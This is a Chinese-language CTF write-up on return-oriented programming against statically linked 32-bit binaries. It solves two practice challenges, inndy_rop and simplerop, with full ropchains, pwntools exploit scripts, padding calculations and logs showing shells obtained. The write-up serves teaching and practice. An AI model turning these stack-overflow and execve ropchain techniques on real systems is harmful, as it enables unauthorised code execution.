Statically Linked

Uncategorized
13k words

通过file指令可以看到程序编译的链接状态,在知道程序可以通过ROP来打的情况下,根据statically linkeddynamically linked两种链接方式来构造对应的ropchain和对应不同的攻击思路

dynamically linked

如果程序是动态链接的话,泄露程序函数的真实地址后拿到libc基址去得到例如system/bin/sh的地址,这里不再赘述

statically linked

如果程序是静态链接,相对与动态链接就没有那么麻烦了,有的程序我们可以通过ROPgadget这个工具来帮助我们构造我们的ropchain

ROPgadget --binary 程序名 --ropchain
Example-inndyrop
m1nus@ubuntu:~/elf/buu/inndy_rop$ file inndy_rop 
inndy_rop: ELF 32-bit LSB executable, Intel 80386, version 1 (GNU/Linux), statically linked, for GNU/Linux 2.6.32, BuildID[sha1]=e9ed96cd1a8ea3af86b7b73048c909236d570d9e, not stripped

程序运行后接收一次用户输入就结束

main()
// positive sp value has been detected, the output may be wrong!
int __cdecl main(int argc, const char **argv, const char **envp)
{
  overflow();
  return 0;
}

只有一个overflow()函数

overflow()
int overflow()
{
  char v1[12]; // [esp+Ch] [ebp-Ch] BYREF

  return gets(v1);
}

overflow()函数,通过gets()来接收用户输入,没有限制用户输入长度,此处stack overflow

(通过IDA进行反编译的时候会发现程序里面函数比较多比较乱,这是因为程序是statically linked,由于没有调用动态链接库里的函数,所以全部的函数都靠自己实现)

既然是静态链接我们直接上ROPgadget

#ROPgadget --binary inndy_rop --ropchain

from struct import pack

# Padding goes here
p = b''

p += pack('<I', 0x0806ecda) # pop edx ; ret
p += pack('<I', 0x080ea060) # @ .data
p += pack('<I', 0x080b8016) # pop eax ; ret
p += b'/bin'
p += pack('<I', 0x0805466b) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x0806ecda) # pop edx ; ret
p += pack('<I', 0x080ea064) # @ .data + 4
p += pack('<I', 0x080b8016) # pop eax ; ret
p += b'//sh'
p += pack('<I', 0x0805466b) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x0806ecda) # pop edx ; ret
p += pack('<I', 0x080ea068) # @ .data + 8
p += pack('<I', 0x080492d3) # xor eax, eax ; ret
p += pack('<I', 0x0805466b) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x080481c9) # pop ebx ; ret
p += pack('<I', 0x080ea060) # @ .data
p += pack('<I', 0x080de769) # pop ecx ; ret
p += pack('<I', 0x080ea068) # @ .data + 8
p += pack('<I', 0x0806ecda) # pop edx ; ret
p += pack('<I', 0x080ea068) # @ .data + 8
p += pack('<I', 0x080492d3) # xor eax, eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0806c943) # int 0x80

以上就是我们通过ROPgadget构造出的ropchain,前面加上覆盖函数返回地址的padding即可

exp
from pwn import *
from struct import pack
context(os = "linux" , arch = 'i386' , log_level = 'debug')
elf=ELF("inndy_rop")
host="node4.buuoj.cn"
port=26277
local=int(input("0 for remote , 1 for local:\t"))
io = process(elf.path) if local==1 else remote(host,port)
# Padding goes here
p = b'a' * (0xc + 0x4)
p += pack('<I', 0x0806ecda) # pop edx ; ret
p += pack('<I', 0x080ea060) # @ .data
p += pack('<I', 0x080b8016) # pop eax ; ret
p += b'/bin'
p += pack('<I', 0x0805466b) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x0806ecda) # pop edx ; ret
p += pack('<I', 0x080ea064) # @ .data + 4
p += pack('<I', 0x080b8016) # pop eax ; ret
p += b'//sh'
p += pack('<I', 0x0805466b) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x0806ecda) # pop edx ; ret
p += pack('<I', 0x080ea068) # @ .data + 8
p += pack('<I', 0x080492d3) # xor eax, eax ; ret
p += pack('<I', 0x0805466b) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x080481c9) # pop ebx ; ret
p += pack('<I', 0x080ea060) # @ .data
p += pack('<I', 0x080de769) # pop ecx ; ret
p += pack('<I', 0x080ea068) # @ .data + 8
p += pack('<I', 0x0806ecda) # pop edx ; ret
p += pack('<I', 0x080ea068) # @ .data + 8
p += pack('<I', 0x080492d3) # xor eax, eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; retx
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0806c943) # int 0x80
io.sendline(p)
io.interactive()
[+] Starting local process '/home/m1nus/elf/buu/inndy_rop/inndy_rop' argv=[b'/home/m1nus/elf/buu/inndy_rop/inndy_rop'] : pid 12744
[DEBUG] Sent 0x95 bytes:
    00000000  61 61 61 61  61 61 61 61  61 61 61 61  61 61 61 61  │aaaa│aaaa│aaaa│aaaa│
    00000010  da ec 06 08  60 a0 0e 08  16 80 0b 08  2f 62 69 6e  │····│`···│····│/bin│
    00000020  6b 46 05 08  da ec 06 08  64 a0 0e 08  16 80 0b 08  │kF··│····│d···│····│
    00000030  2f 2f 73 68  6b 46 05 08  da ec 06 08  68 a0 0e 08  │//sh│kF··│····│h···│
    00000040  d3 92 04 08  6b 46 05 08  c9 81 04 08  60 a0 0e 08  │····│kF··│····│`···│
    00000050  69 e7 0d 08  68 a0 0e 08  da ec 06 08  68 a0 0e 08  │i···│h···│····│h···│
    00000060  d3 92 04 08  6f a6 07 08  6f a6 07 08  6f a6 07 08  │····│o···│o···│o···│
    00000070  6f a6 07 08  6f a6 07 08  6f a6 07 08  6f a6 07 08  │o···│o···│o···│o···│
    *
    00000090  43 c9 06 08  0a                                     │C···│·│
    00000095
[*] Switching to interactive mode
$ id
[DEBUG] Sent 0x3 bytes:
    b'id\n'
[DEBUG] Received 0x87 bytes:
    b'uid=1000(m1nus) gid=1000(m1nus) groups=1000(m1nus),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),120(lpadmin),131(lxd),132(sambashare)\n'
uid=1000(m1nus) gid=1000(m1nus) groups=1000(m1nus),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),120(lpadmin),131(lxd),132(sambashare)

由于实在是比较懒,没有截图,直接复制的bash的内容

当然,ROPgadget也不是万能的,像angr需要我们添加适当的约束条件一样,针对statically linked的程序构造的ropchain都可以打通,需要我们根据程序人为的修改下,或者另寻他法。比如我们来看下这道题

Example-simplerop
m1nus@ubuntu:~/elf/buu/simplerop$ file simplerop 
simplerop: ELF 32-bit LSB executable, Intel 80386, version 1 (GNU/Linux), statically linked, for GNU/Linux 2.6.24, BuildID[sha1]=bdd40d725b490b97d5a25857a6273870c7de399f, not stripped
ROP is easy is'nt it ?
Your input :

程序运行后接收一次用户的输入,然后结束

main()
int __cdecl main(int argc, const char **argv, const char **envp)
{
  int v4; // [esp+1Ch] [ebp-14h] BYREF

  puts("ROP is easy is'nt it ?");
  printf("Your input :");
  fflush(stdout);
  return read(0, &v4, 100);
}

这里通过read()来接收用户的输入,单从源码来看的话,这里v4的长度是0x14,而接受的长度是100,也就是0x64,stackoverflow了

静态链接那么我们首先还是尝试下ROPgadget

#ROPgadget --binary simplerop  --ropchain
from struct import pack

# Padding goes here
p = b''

p += pack('<I', 0x0806e82a) # pop edx ; ret
p += pack('<I', 0x080ea060) # @ .data
p += pack('<I', 0x080bae06) # pop eax ; ret
p += b'/bin'
p += pack('<I', 0x0809a15d) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x0806e82a) # pop edx ; ret
p += pack('<I', 0x080ea064) # @ .data + 4
p += pack('<I', 0x080bae06) # pop eax ; ret
p += b'//sh'
p += pack('<I', 0x0809a15d) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x0806e82a) # pop edx ; ret
p += pack('<I', 0x080ea068) # @ .data + 8
p += pack('<I', 0x08054250) # xor eax, eax ; ret
p += pack('<I', 0x0809a15d) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x080481c9) # pop ebx ; ret
p += pack('<I', 0x080ea060) # @ .data
p += pack('<I', 0x0806e851) # pop ecx ; pop ebx ; ret
p += pack('<I', 0x080ea068) # @ .data + 8
p += pack('<I', 0x080ea060) # padding without overwrite ebx
p += pack('<I', 0x0806e82a) # pop edx ; ret
p += pack('<I', 0x080ea068) # @ .data + 8
p += pack('<I', 0x08054250) # xor eax, eax ; ret
p += pack('<I', 0x0807b27f) # inc eax ; ret
p += pack('<I', 0x0807b27f) # inc eax ; ret
p += pack('<I', 0x0807b27f) # inc eax ; ret
p += pack('<I', 0x0807b27f) # inc eax ; ret
p += pack('<I', 0x0807b27f) # inc eax ; ret
p += pack('<I', 0x0807b27f) # inc eax ; ret
p += pack('<I', 0x0807b27f) # inc eax ; ret
p += pack('<I', 0x0807b27f) # inc eax ; ret
p += pack('<I', 0x0807b27f) # inc eax ; ret
p += pack('<I', 0x0807b27f) # inc eax ; ret
p += pack('<I', 0x0807b27f) # inc eax ; ret
p += pack('<I', 0x080493e1) # int 0x80

添加padding(具体长度后面来计算)构造好ropchain后,发送

[+] Starting local process '/home/m1nus/elf/buu/simplerop/simplerop' argv=[b'/home/m1nus/elf/buu/simplerop/simplerop'] : pid 14444
exp.py:9: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
  io.recvuntil("Your input :")
[DEBUG] Received 0x23 bytes:
    b"ROP is easy is'nt it ?\n"
    b'Your input :'
[DEBUG] Sent 0xa9 bytes:
    00000000  61 61 61 61  61 61 61 61  61 61 61 61  61 61 61 61  │aaaa│aaaa│aaaa│aaaa│
    *
    00000020  2a e8 06 08  60 a0 0e 08  06 ae 0b 08  2f 62 69 6e  │*···│`···│····│/bin│
    00000030  5d a1 09 08  2a e8 06 08  64 a0 0e 08  06 ae 0b 08  │]···│*···│d···│····│
    00000040  2f 2f 73 68  5d a1 09 08  2a e8 06 08  68 a0 0e 08  │//sh│]···│*···│h···│
    00000050  50 42 05 08  5d a1 09 08  c9 81 04 08  60 a0 0e 08  │PB··│]···│····│`···│
    00000060  51 e8 06 08  68 a0 0e 08  60 a0 0e 08  2a e8 06 08  │Q···│h···│`···│*···│
    00000070  68 a0 0e 08  50 42 05 08  7f b2 07 08  7f b2 07 08  │h···│PB··│····│····│
    00000080  7f b2 07 08  7f b2 07 08  7f b2 07 08  7f b2 07 08  │····│····│····│····│
    *
    000000a0  7f b2 07 08  e1 93 04 08  0a                        │····│····│·│
    000000a9
[*] Switching to interactive mode
[*] Got EOF while reading in interactive
$  

本地EOF

[+] Opening connection to node4.buuoj.cn on port 27544: Done
exp.py:9: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
  io.recvuntil("Your input :")
[DEBUG] Received 0x23 bytes:
    b"ROP is easy is'nt it ?\n"
    b'Your input :'
[DEBUG] Sent 0xa9 bytes:
    00000000  61 61 61 61  61 61 61 61  61 61 61 61  61 61 61 61  │aaaa│aaaa│aaaa│aaaa│
    *
    00000020  2a e8 06 08  60 a0 0e 08  06 ae 0b 08  2f 62 69 6e  │*···│`···│····│/bin│
    00000030  5d a1 09 08  2a e8 06 08  64 a0 0e 08  06 ae 0b 08  │]···│*···│d···│····│
    00000040  2f 2f 73 68  5d a1 09 08  2a e8 06 08  68 a0 0e 08  │//sh│]···│*···│h···│
    00000050  50 42 05 08  5d a1 09 08  c9 81 04 08  60 a0 0e 08  │PB··│]···│····│`···│
    00000060  51 e8 06 08  68 a0 0e 08  60 a0 0e 08  2a e8 06 08  │Q···│h···│`···│*···│
    00000070  68 a0 0e 08  50 42 05 08  7f b2 07 08  7f b2 07 08  │h···│PB··│····│····│
    00000080  7f b2 07 08  7f b2 07 08  7f b2 07 08  7f b2 07 08  │····│····│····│····│
    *
    000000a0  7f b2 07 08  e1 93 04 08  0a                        │····│····│·│
    000000a9
[*] Switching to interactive mode
[DEBUG] Received 0x2b bytes:
    b'timeout: the monitored command dumped core\n'
timeout: the monitored command dumped core
[*] Got EOF while reading in interactive
$  

远程timeout

很显然,这个方法就行不通了

这道题程序没有got表,无法泄露函数的地址,没有system,没有/bin/sh

都没办法了试下系统调用呢,如果是需要用到系统调用就需要一个比较核心的指令——int 0x80

我们可以先通过ROPgadget来搜索看看,程序里有没有

m1nus@ubuntu:~/elf/buu/simplerop$ ROPgadget --binary simplerop --only "int"
Gadgets information
============================================================
0x080493e1 : int 0x80

Unique gadgets found: 1

发现有int 0x80,那后面就好构造了

我们需要int80(11 , '/bin/sh' , null , null),相当于执行的是execve('/bin/sh' , 0 , 0),从而拿到shell

程序也没有/bin/sh,需要我们读入,这里可以用read,下面开始构造payload

首先是padding部分,上文说到从源码,包括IDA的栈试图来看v2都是0x14的大小,加上0x8就是0x1c,但是实际上会发现打不通,我们通过gdb+cyclic来看

m1nus@ubuntu:~/elf/buu/simplerop$ cyclic 200
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaab

先生成200个数据,然后gdb让程序run起来,c到等待用户输入的地方,将200个数据复制进去

Program received signal SIGSEGV, Segmentation fault.
0x61616169 in ?? ()
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
───────────────────────────────────────────[REGISTERS]────────────────────────────────────────────────
*EAX  0x64
 EBX  0x80481a8 (_init) ◂— push   ebx
*ECX  0xffffd0dc ◂— 'aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaa'
*EDX  0x64
 EDI  0x80ea00c (_GLOBAL_OFFSET_TABLE_+12) —▸ 0x80677d0 (__stpcpy_sse2) ◂— mov    edx, dword ptr [esp + 4]
 ESI  0x0
*EBP  0x61616168 ('haaa')
*ESP  0xffffd100 ◂— 'jaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaa'
*EIP  0x61616169 ('iaaa')
──────────────────────────────────────────[DISASM]────────────────────────────────────────────────────
Invalid address 0x61616169

发现会报Invalid address 0x61616169,我们把0x61616169复制,终端输入

pwndbg> cyclic -l 0x61616169
32

得到32,也就是实际的padding长度,0x20

接着还需要一些gadgets,我们需要控制寄存器里面的内容来控制函数的参数。int80(11 , '/bin/sh' , 0 , 0)可以看到需要4个值,分别对应的寄存器是eax , ebx , ecx , edx

还是通过ROPgadget来搜索

0x0806e850 : pop edx ; pop ecx ; pop ebx ; ret

拿到可以控制edx , ecx , ebx的gadgets,还差eax

0x080bae06 : pop eax ; ret

找到一条单独的,gadgets就找完了

由于这个程序没有开启pie,那bss段绝对地址不会发生改变,我们就可以将/bin/sh写入bss段,再进行调用

有了这些前置条件,就可以来构造ropchain了

payload = b'a' * padding 

payload第一部分是padding,覆盖函数返回地址,跳向哪里呢,下一步,我们需要调用read来向bss段上去读入/bin/sh,所以跳向read()

payload += p32(read_addr) + p32(pop_edx_ecx_dbx) + p32(0) + p32(bss_addr) + p32(0x8)

read()函数需要三个参数,我们就可以通过之前找到的pop edx ; pop ecx ; pop ebx ; ret来控制参数,从标准输入流中读取数据到bss段去,读取多少呢,只要比/bin/sh长就行,可以给个8。那么这里三个参数就是read(0 , bss_addr , 0x8)

下一步,开始系统调用

payload += p32(pop_eax) + p32(0xb) + p32(pop_edx_ecx_ebx) + p32(bss_addr) + p32(0) + p32(0) + p32(int_80)

首先是给四个寄存器复制,然后接着进行int 0x80,系统调用号为11,也就是0xb,所以eax为0xb,后面的寄存器赋值就是按照('/bin/sh' , 0 , 0)进行的,依次赋给这三个寄存器,然后跳到int 0x80来进行系统调用,注意参数是从右往左依次入栈的,这也是这样构造payload的原因

至此,payload就构造完成了

发送完payload后,再发送/bin/sh写到bss段上,为后续调用做准备

exp
from pwn import *
from struct import pack
context(os='linux',arch='i386',log_level='debug')
elf=ELF("simplerop")
host = "node4.buuoj.cn"
port = 27544
local=int(input("0 for remote,1 for local:\t"))
io=process(elf.path) if local==1 else remote(host,port)
io.recvuntil("Your input :")
padding = 0x20
read = elf.sym['read']

int_0x80 = 0x080493e1
bss_addr = 0x080EB584 #binsh is written here
pop_edx_ecx_ebx = 0x0806e850
pop_eax = 0x080bae06
payload = b'a' * padding + p32(read) + p32(pop_edx_ecx_ebx) + p32(0) + p32(bss_addr) + p32(0x8) + p32(pop_eax) + p32(0xb) + p32(pop_edx_ecx_ebx) + p32(0) + p32(0) + p32(bss_addr) + p32(int_0x80)
io.sendline(payload)
# gdb.attach(io)
io.send("/bin/sh")

io.interactive()
[+] Starting local process '/home/m1nus/elf/buu/simplerop/simplerop' argv=[b'/home/m1nus/elf/buu/simplerop/simplerop'] : pid 18643
exp.py:9: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
  io.recvuntil("Your input :")
[DEBUG] Received 0x23 bytes:
    b"ROP is easy is'nt it ?\n"
    b'Your input :'
[DEBUG] Sent 0x51 bytes:
    00000000  61 61 61 61  61 61 61 61  61 61 61 61  61 61 61 61  │aaaa│aaaa│aaaa│aaaa│
    *
    00000020  50 cd 06 08  50 e8 06 08  00 00 00 00  84 b5 0e 08  │P···│P···│····│····│
    00000030  08 00 00 00  06 ae 0b 08  0b 00 00 00  50 e8 06 08  │····│····│····│P···│
    00000040  00 00 00 00  00 00 00 00  84 b5 0e 08  e1 93 04 08  │····│····│····│····│
    00000050  0a                                                  │·│
    00000051
exp.py:20: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
  io.send("/bin/sh")
[DEBUG] Sent 0x7 bytes:
    b'/bin/sh'
[*] Switching to interactive mode
$ whoami
[DEBUG] Sent 0x7 bytes:
    b'whoami\n'
[DEBUG] Received 0x6 bytes:
    b'm1nus\n'
m1nus
$  

拿到shell

本文主要是针对比较经典的statically linked程序的ROP方法进行了讲解,如果有其他方法或者问题欢迎大家下方补充